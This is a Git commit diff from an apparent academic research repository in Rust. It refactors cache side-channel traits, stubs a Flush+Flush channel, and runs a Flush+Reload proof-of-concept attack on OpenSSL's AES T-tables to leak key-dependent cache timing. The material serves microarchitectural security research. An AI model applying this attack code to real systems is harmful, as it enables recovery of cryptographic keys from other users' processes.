Get the foundation for optimized version using Flush and Flush

This commit is contained in:
GuillaumeDIDIER 2020-08-19 14:34:52 +02:00
parent 0819eef0c0
commit 8683dfa732
2 changed files with 101 additions and 40 deletions

View File

@ -1,3 +1,5 @@
#![feature(specialization)]
use openssl::aes; use openssl::aes;
use crate::CacheStatus::Hit; use crate::CacheStatus::Hit;
@ -31,16 +33,19 @@ use std::sync::Arc;
// an attacker measurement // an attacker measurement
// a calibration victim // a calibration victim
#[derive(Debug, PartialEq, Eq)] #[derive(Debug, PartialEq, Eq)]
pub enum CacheStatus { pub enum CacheStatus {
Hit, Hit,
Miss, Miss,
} }
pub enum SideChannelError<T> { pub enum ChannelFatalError {
Oops,
}
pub enum SideChannelError {
NeedRecalibration, NeedRecalibration,
FatalError(T), FatalError(ChannelFatalError),
} }
/* /*
@ -57,54 +62,53 @@ pub trait SimpleCacheSideChannel {
} }
pub trait TableCacheSideChannel { pub trait TableCacheSideChannel {
type ChannelFatalError: Debug; //type ChannelFatalError: Debug;
fn calibrate(&mut self, addresses: impl IntoIterator<Item = *const u8> + Clone);
fn attack<'a, 'b, 'c>( fn attack<'a, 'b, 'c>(
&'a mut self, &'a mut self,
addresses: impl IntoIterator<Item = *const u8>, addresses: impl IntoIterator<Item = *const u8> + Clone,
victim: &'c dyn Fn(), victim: &'c dyn Fn(),
) -> Result<Vec<(*const u8, CacheStatus)>, Self::ChannelFatalError>; ) -> Result<Vec<(*const u8, CacheStatus)>, ChannelFatalError>;
} }
pub trait SingleAddrCacheSideChannel: Debug { pub trait SingleAddrCacheSideChannel: Debug {
type ChannelFatalError: Debug; //type SingleChannelFatalError: Debug;
fn test( fn test(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError>;
&mut self,
addr: *const u8,
) -> Result<CacheStatus, SideChannelError<Self::ChannelFatalError>>;
fn prepare(&mut self, addr: *const u8); fn prepare(&mut self, addr: *const u8);
fn victim(&mut self, operation: &dyn Fn()); fn victim(&mut self, operation: &dyn Fn());
fn calibrate( fn calibrate(
&mut self, &mut self,
addresses: impl IntoIterator<Item = *const u8>, addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), Self::ChannelFatalError>; ) -> Result<(), ChannelFatalError>;
} }
/*
pub trait MultipleAddrCacheSideChannel: Debug { pub trait MultipleAddrCacheSideChannel: Debug {
type ChannelFatalError: Debug; //type MultipleChannelFatalError: Debug;
fn test<'a>(
&self, fn test(
addresses: impl IntoIterator<Item = &'a *const u8>, &mut self,
) -> Result<Vec<CacheStatus>, SideChannelError<Self::ChannelFatalError>>; addresses: impl IntoIterator<Item = *const u8> + Clone,
fn prepare<'a>(addresses: impl IntoIterator<Item = &'a *const u8>); ) -> Result<Vec<(*const u8, CacheStatus)>, SideChannelError>;
fn victim<T>(&self, operation: Box<dyn FnOnce() -> T>) -> T; fn prepare(&mut self, addresses: impl IntoIterator<Item = *const u8> + Clone);
fn recalibrate(self) -> Result<Self, Self::ChannelFatalError>; fn victim(&mut self, operation: &dyn Fn());
fn calibrate<'a>( fn calibrate(
params: Self::Params, &mut self,
addresses: impl IntoIterator<Item = &'a *const u8>, addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<Self, Self::ChannelFatalError>; ) -> Result<(), ChannelFatalError>;
} }
*/
impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T { impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
type ChannelFatalError = T::ChannelFatalError; default fn calibrate(&mut self, addresses: impl IntoIterator<Item = *const u8> + Clone) {
self.calibrate(addresses);
}
//type ChannelFatalError = T::SingleChannelFatalError;
fn attack<'a, 'b, 'c>( default fn attack<'a, 'b, 'c>(
&'a mut self, &'a mut self,
addresses: impl IntoIterator<Item = *const u8>, addresses: impl IntoIterator<Item = *const u8> + Clone,
victim: &'c dyn Fn(), victim: &'c dyn Fn(),
) -> Result<Vec<(*const u8, CacheStatus)>, Self::ChannelFatalError> { ) -> Result<Vec<(*const u8, CacheStatus)>, ChannelFatalError> {
let mut result = Vec::new(); let mut result = Vec::new();
for addr in addresses { for addr in addresses {
@ -127,6 +131,54 @@ impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
} }
} }
impl<T: MultipleAddrCacheSideChannel> SingleAddrCacheSideChannel for T {
//type SingleChannelFatalError = T::MultipleChannelFatalError;
fn test(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError> {
unimplemented!()
}
fn prepare(&mut self, addr: *const u8) {
unimplemented!()
}
fn victim(&mut self, operation: &dyn Fn()) {
unimplemented!()
}
fn calibrate(
&mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone,
) -> Result<(), ChannelFatalError> {
self.calibrate(addresses)
}
}
impl<T: MultipleAddrCacheSideChannel> TableCacheSideChannel for T {
fn calibrate(&mut self, addresses: impl IntoIterator<Item = *const u8> + Clone) {
self.calibrate(addresses);
}
//type ChannelFatalError = T::MultipleChannelFatalError;
fn attack<'a, 'b, 'c>(
&'a mut self,
addresses: impl IntoIterator<Item = *const u8> + Clone,
victim: &'c dyn Fn(),
) -> Result<Vec<(*const u8, CacheStatus)>, ChannelFatalError> {
MultipleAddrCacheSideChannel::prepare(self, addresses.clone());
MultipleAddrCacheSideChannel::victim(self, victim);
let r = MultipleAddrCacheSideChannel::test(self, addresses); // Fixme error handling
match r {
Err(e) => match e {
SideChannelError::NeedRecalibration => {
panic!();
}
SideChannelError::FatalError(e) => Err(e),
},
Ok(v) => Ok(v),
}
}
}
pub struct AESTTableParams<'a> { pub struct AESTTableParams<'a> {
pub num_encryptions: u32, pub num_encryptions: u32,
pub key: [u8; 32], pub key: [u8; 32],
@ -167,6 +219,8 @@ pub fn attack_t_tables_poc(
.flatten() .flatten()
.map(|offset| unsafe { base.offset(offset) }); .map(|offset| unsafe { base.offset(offset) });
side_channel.calibrate(addresses.clone());
for addr in addresses.clone() { for addr in addresses.clone() {
timings.insert(addr, HashMap::new()); timings.insert(addr, HashMap::new());
} }

View File

@ -1,8 +1,10 @@
use aes_t_tables::{ use aes_t_tables::{
attack_t_tables_poc, AESTTableParams, CacheStatus, SideChannelError, SingleAddrCacheSideChannel, attack_t_tables_poc, AESTTableParams, CacheStatus, ChannelFatalError, SideChannelError,
SingleAddrCacheSideChannel,
}; };
use cache_utils::calibration::only_reload; use cache_utils::calibration::only_reload;
use cache_utils::{flush, rdtsc_fence}; use cache_utils::{flush, rdtsc_fence};
use std::collections::{HashMap, HashSet};
use std::path::Path; use std::path::Path;
#[derive(Debug)] #[derive(Debug)]
@ -21,12 +23,7 @@ impl NaiveFlushAndReload {
} }
impl SingleAddrCacheSideChannel for NaiveFlushAndReload { impl SingleAddrCacheSideChannel for NaiveFlushAndReload {
type ChannelFatalError = (); fn test(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError> {
fn test(
&mut self,
addr: *const u8,
) -> Result<CacheStatus, SideChannelError<Self::ChannelFatalError>> {
if self.current != Some(addr) { if self.current != Some(addr) {
panic!(); // FIXME panic!(); // FIXME
} }
@ -45,7 +42,7 @@ impl SingleAddrCacheSideChannel for NaiveFlushAndReload {
fn calibrate( fn calibrate(
&mut self, &mut self,
_addresses: impl IntoIterator<Item = *const u8>, _addresses: impl IntoIterator<Item = *const u8>,
) -> Result<(), Self::ChannelFatalError> { ) -> Result<(), ChannelFatalError> {
Ok(()) Ok(())
} }
@ -55,13 +52,23 @@ impl SingleAddrCacheSideChannel for NaiveFlushAndReload {
} }
} }
type VPN = usize;
type Slice = u8;
struct FlushAndFlush {
thresholds: HashMap<VPN, HashMap<Slice, u64>>,
addresses_ready: HashSet<*const u8>,
}
impl FlushAndFlush {}
fn main() { fn main() {
let open_sslpath = Path::new(env!("OPENSSL_DIR")).join("lib/libcrypto.so"); let open_sslpath = Path::new(env!("OPENSSL_DIR")).join("lib/libcrypto.so");
let mut side_channel = NaiveFlushAndReload::from_threshold(200); let mut side_channel = NaiveFlushAndReload::from_threshold(200);
attack_t_tables_poc( attack_t_tables_poc(
&mut side_channel, &mut side_channel,
AESTTableParams { AESTTableParams {
num_encryptions: 10000, num_encryptions: 1 << 14,
key: [0; 32], key: [0; 32],
te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order) te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order)
openssl_path: &open_sslpath, openssl_path: &open_sslpath,